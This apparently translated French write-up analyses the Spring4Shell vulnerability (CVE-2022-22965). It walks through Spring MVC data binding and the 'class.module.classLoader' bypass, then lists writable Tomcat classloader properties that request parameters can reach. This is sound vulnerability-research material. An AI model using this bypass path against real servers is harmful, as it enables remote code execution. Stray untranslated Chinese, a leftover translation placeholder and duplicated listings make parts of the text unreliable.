
Analyse pédagogique et preuve de concept de l'exploit pour CVE-2022-22965, une vulnérabilité d'exécution de code à distance dans Spring MVC/WebFlux via la liaison de données sur JDK 9+ avec déploiement WAR sur Tomcat.
Récemment, Spring a révélé une vulnérabilité CVE majeure. Les informations CVE indiquent : "Une application Spring MVC ou Spring WebFlux fonctionnant sur JDK 9+ peut être vulnérable à une exécution de code à distance (RCE) via la liaison de données. L'exploitation spécifique nécessite que l'application s'exécute sur Tomcat en tant que déploiement WAR. Si l'application est déployée en tant que jar exécutable Spring Boot (c'est-à-dire par défaut), elle n'est pas vulnérable à l'exploit. Cependant, la nature de la vulnérabilité est plus générale, et il peut exister d'autres moyens de l'exploiter." Cette analyse vise à comprendre le principe de la vulnérabilité en reproduisant ce CVE.
Avant d'examiner le principe de liaison des paramètres Spring MVC, regardons d'abord quelques API liées à Java Bean.
Déclarez la classe Java Bean comme suit :```java public class User { private String name;
public User() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
public int getAge() {
return 18;
}
}
Utilisez le code de test suivant pour voir les informations obtenues par Introspector.getBeanInfo :```java
@Test
public void testIntrospector() throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
}
// for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
// System.out.println("Method: " + md.getName());
// }
}
[No source content provided to translate.]```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String
Outre le prévisible age et ainsi de suite, il y a un attribut class, dont le nom de classe est Class. Si on continue à appeler Introspector.getBeanInfo(Class.class), on peut obtenir plus d'informations comme classLoader, etc. :```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
Comparez également les différences des informations obtenues par Introspector.getBeanInfo(Class.class) sous différentes versions de JDK. Ce qui précède est la sortie sous jdk-11, ce qui suit est la sortie sous JDK8 :```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters
` ````text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
jdk9 a deux attributs supplémentaires par rapport à JDK8 : module et packageName, tandis que JDK11, en plus des attributs module et packageName, possède deux autres attributs : nestHost et nestMembers.
Le processus de liaison des paramètres dans les frameworks web, en termes simples, consiste pour le framework à convertir les paramètres sous forme de chaînes de caractères dans les requêtes HTTP vers les types réellement nécessaires côté serveur. Prenons Spring MVC comme exemple :
Définissons deux classes Bean User et UserInfo :```java
public class UserInfo {
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private User user;
private String password;
@Override
public String toString() {
return "UserInfo{" +
"user=" + user +
", password='" + password + '\'' +
'}';
}
}
Utilisez le contrôleur suivant comme test :```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
public DemoController() {
}
@RequestMapping({"/test"})
public String test(User u) {
System.out.println("access!");
return "home";
}
@RequestMapping({"/get-user-info"})
public String getUserInfo(UserInfo userInfo) {
System.out.println("Name:" + userInfo.getUser().getName());
System.out.println("Age:" + userInfo.getUser().getAge());
System.out.println("password:" + userInfo.getPassword());
System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
return userInfo.toString();
}
}
Lorsque nous accédons à /get-user-info?password=password&user.name=enokiy, le framework instancie automatiquement la classe UserInfo et lie les valeurs correspondantes aux propriétés (via user.name, on peut accéder de manière imbriquée à la propriété userInfo.user.name) :

Nous examinons via le débogage le processus complet de liaison de données dans Spring MVC :
À partir de la méthode doDispatch de org.springframework.web.servlet.DispatcherServlet. Dans la méthode doDispatch, on récupère d'abord le mappedHandler à partir de la requête, puis on obtient le HandlerAdapter. En appelant la méthode handle() du HandlerAdapter, la requête est traitée spécifiquement et retourne un ModelAndView :

Ici, HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) obtient en réalité une instance de la classe org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter. Après l'exécution de la méthode handle() du HandlerAdapter, on entre dans la méthode invokeHandleMethod de RequestMappingHandlerAdapter :

Ensuite, dans la méthode invokeHandleMethod, une instance invocableMethod de ServletInvocableHandlerMethod est créée à partir de handlerMethod, avec les dataBinderFactory, modelFactory et argumentResolvers correspondants. Puis, on entre dans les méthodes invocableMethod.invokeAndHandle() → invokeForRequest() → getMethodArgumentValues() où la résolution s'effectue via différents résolveurs d'arguments :

Voici les résolveurs d'arguments présents :```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
Alors, comment savoir quel analyseur de paramètres utiliser spécifiquement pour analyser les paramètres de la requête actuelle ? Dans Spring MVC, cela est déterminé en fonction des annotations des paramètres (la logique de code se trouve dans la méthode `HandlerMethodArgumentResolverComposite#getArgumentResolver`). Par exemple, en utilisant `@RequestMapping` avec `@ModelAttribute`, on utilise `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor` ; `@RequestParam` correspond à `RequestParamMethodArgumentResolver`, etc.
Dans la démo actuelle, l'annotation utilisée est `@RequestMapping`, nous allons donc examiner le processus de liaison des paramètres dans la classe `ServletModelAttributeMethodProcessor` :```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
}
else {
// Create attribute instance
try {
attribute = createAttribute(name, parameter, binderFactory, webRequest);
}
catch (BindException ex) {
if (isBindExceptionRequired(parameter)) {
// No BindingResult parameter -> fail with BindException
throw ex;
}
// Otherwise, expose null/empty value and associated BindingResult
if (parameter.getParameterType() == Optional.class) {
attribute = Optional.empty();
}
bindingResult = ex.getBindingResult();
}
}
if (bindingResult == null) {
// Bean property binding and validation;
// skipped in case of binding failure on construction.
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
bindRequestParameters(binder, webRequest);
}
validateIfApplicable(binder, parameter);
if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
throw new BindException(binder.getBindingResult());
}
}
// Value type adaptation, also covering java.util.Optional
if (!parameter.getParameterType().isInstance(attribute)) {
attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
}
bindingResult = binder.getBindingResult();
}
// Add resolved attribute and BindingResult at the end of the model
Map<String, Object> bindingResultModel = bindingResult.getModel();
mavContainer.removeAttributes(bindingResultModel);
mavContainer.addAllAttributes(bindingResultModel);
return attribute;
}
Obtenir le nom du paramètre dans le modèle en fonction du paramètre de requête. D'abord, vérifier si le ModelAndViewContainer contient ce nom de paramètre. Si oui, obtenir directement l'attribut depuis le ModelAndViewContainer. Sinon, entrer dans la méthode ServletModelAttributeMethodProcessor#createAttribute pour créer l'attribut du modèle :
ServletModelAttributeMethodProcessor#createAttribute:
D'abord, dans la classe actuelle, traiter si l'URI et le paramètre de la requête contiennent le nom de l'attribut (méthode getRequestValueForAttribute). Si oui, retourner la valeur. Sinon, aller à la méthode super.createAttribute :

binderFactory.createBinder : Créer WebRequestDataBinder
bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:



Parmi eux, dans la méthode DataBinder#doBind, il y a des vérifications sur allowFields et requiredFields. Dans la version de test actuelle, ils sont vides par défaut :

AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)中循环调用AbstractPropertyAccessor#setPropertyValue方法对每个请求参数的属性值进行绑定,绑定过程中如果发现参数名中包含".",还需要通过调用getNestedPropertyAccessor对"."后面的属性进行递归绑定:

Le processus de récupération récursive des valeurs d'attribut entre dans le flux de données suivant :```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
Dans `getLocalPropertyHandler`, la méthode `getCachedIntrospectionResults` est appelée pour rechercher dans `cachedIntrospectionResults` si la propriété actuelle existe. En plus des propriétés de la requête en cours, ce `cachedIntrospectionResults` contient également une propriété nommée `class` :

Comme mentionné précédemment dans le mécanisme d'introspection lors de l'obtention de `BeanInfo`, si la classe `BeanInfo` du Java Bean a déjà été introspectée auparavant, la classe `BeanInfo` est récupérée à partir du cache des `BeanInfo`. Le rôle de `cachedIntrospectionResults` ici est donc de prendre en charge cette fonctionnalité :

À ce stade, résumons le processus de liaison de paramètres dans Spring MVC :
1. Lors de l'initialisation de Spring MVC, la classe `RequestMappingHandlerAdapter` ajoute certains résolveurs de paramètres par défaut à `argumentResolvers`. Lorsque Spring MVC reçoit une requête, elle entre dans `doDispatch` de `DispatcherServlet`. Dans `doDispatch`, on obtient d'abord le `mappedHandler` en fonction de la requête, puis le `HandlerAdapter`, et on appelle la méthode `handle()` du `HandlerAdapter` pour traiter la requête et retourner un `ModelAndView`. Ensuite, `ViewResolver` analyse et retourne la `View`, et le résolveur frontal rend la vue finalement.

2. Dans la méthode `handle()` du `HandlerAdapter`, lors du traitement détaillé de la requête, une instance `invocableMethod` de `ServletInvocableHandlerMethod` est générée à partir du `handlerMethod`. On configure le `dataBinderFactory`, le `modelFactory` et les `argumentResolvers` correspondants, puis on entre dans `invokeAndHandle` → `invokeForRequest` → `getMethodArgumentValues` de `invocableMethod`. L'analyse est effectuée via différents résolveurs de paramètres, lesquels sont déterminés en fonction des informations d'annotation du paramètre.
3. Le résolveur de paramètres analyse les paramètres. Il génère d'abord une instance (propriété) correspondant au nom du paramètre du `handlerMethod` à partir des paramètres de la requête, puis via `DataBinder`, entre finalement dans `BeanWrapperImpl` pour l'affectation des propriétés du bean. `BeanWrapperImpl` implémente concrètement les méthodes de création, maintien et modification des beans.
La méthode `setPropertyValue` peut injecter la valeur du paramètre dans la propriété correspondante du bean spécifié (y compris les listes, maps, etc.), et peut également définir les valeurs de propriétés de manière imbriquée :

Que ce soit la liaison de données Spring MVC (liant divers paramètres aux paramètres des méthodes de gestion des requêtes annotées par `@RequestMapping`) ou `BeanFactory` (gérant l'annotation `@Autowired`), l'interface `BeanWrapper` est utilisée.
### Écrasement de variables
Étant donné que la méthode `setPropertyValue` mentionnée ci-dessus, lors de la définition de propriétés imbriquées, va chercher dans `cachedIntrospectionResults`, et que `cachedIntrospectionResults` contient, en plus des paramètres de la requête, une propriété supplémentaire `class`, il est possible d'accéder aux propriétés de `classLoader` via `class.classLoader.xx` dans la requête. C'est la vulnérabilité CVE-2010-1622 des premières versions de Spring. La CVE-2022-22965 actuelle est un contournement du mécanisme de protection de cette vulnérabilité :
La construction de `cachedIntrospectionResults` est la suivante :

1. Les informations de propriétés de la classe bean sont extraites via `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Comme la méthode `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` ne spécifie pas de `stopClass`, lorsqu'une propriété est introuvable dans la classe actuelle, elle est recherchée dans la classe parente.
2. Les propriétés `ClassLoader` et `protectionDomain` de la classe `Class` sont désactivées. C'est le mécanisme de défense de CVE-2010-1622.
Au début de l'article, nous avons comparé les valeurs des propriétés obtenues via `Introspector.getBeanInfo(xxx)` sous différentes versions de JDK. Dans JDK 9 et versions ultérieures, deux propriétés supplémentaires apparaissent : `module` et `packageName`. Sous la propriété `module`, il existe la propriété `classLoader`. On peut donc utiliser la propriété `module` pour accéder à `classLoader`, contournant ainsi la défense de CVE-2010-1622 pour réaliser un écrasement de variables :


### Exploitation de la vulnérabilité
Après avoir compris que la cause essentielle de cette vulnérabilité est l'écrasement de variables, examinons les problèmes lors de l'exploitation :
1. Quelles variables peuvent être écrasées ?
2. Quel est l'impact des variables écrasées ?
On sait maintenant qu'il est possible d'effectuer un écrasement de variables via `class.module.classLoader`. Mais concrètement, quelles variables sont écrasables ? Le `classLoader` est différent selon les scénarios de déploiement de Spring MVC, donc les méthodes d'exploitation ne sont pas universelles.
| Type de déploiement | classLoader |
| ---- | ---- |
| SpringBoot FatJar | `org.springframework.boot.loader.LaunchedURLClassLoader` |
| Tomcat en war | `org.apache.catalina.loader.ParallelWebappClassLoader` |
| Jetty en war | `org.eclipse.jetty.webapp.WebAppClassLoader` |
Dans un déploiement Tomcat en war (environnement de test actuel : "apache-tomcat-8.5.8" + "jdk-11.0.1"), les propriétés accessibles en lecture et écriture sous `class.module` sont les suivantes (liste non exhaustive, sans les propriétés de type List/Map/Set) :
<details>
<summary>
Cliquez pour afficher les propriétés accessibles en lecture et écriture sous `class.module`
</summary>```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
